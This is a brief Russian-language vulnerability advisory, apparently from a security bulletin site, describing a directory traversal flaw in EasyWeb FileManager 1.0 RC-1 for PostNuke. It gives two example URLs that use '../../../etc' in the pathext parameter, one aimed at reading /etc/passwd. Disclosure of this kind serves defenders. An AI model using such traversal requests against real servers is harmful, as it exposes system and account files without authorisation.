Программа: EasyWeb FileManager 1.0 RC-1 

Уязвимость обхода каталога в EasyWeb FileManager for PostNuke позволяет удаленному пользователю просматривать произвольные каталоги на целевой системе. 

Пример: 

/index.php?module=ew_filemanager&type= admin&func=manager&pathext=
../../../etc
/index.php?module=ew_filemanager&type= admin&func=manager&pa thext=
../../../etc/&view=passwd

Оставить мнение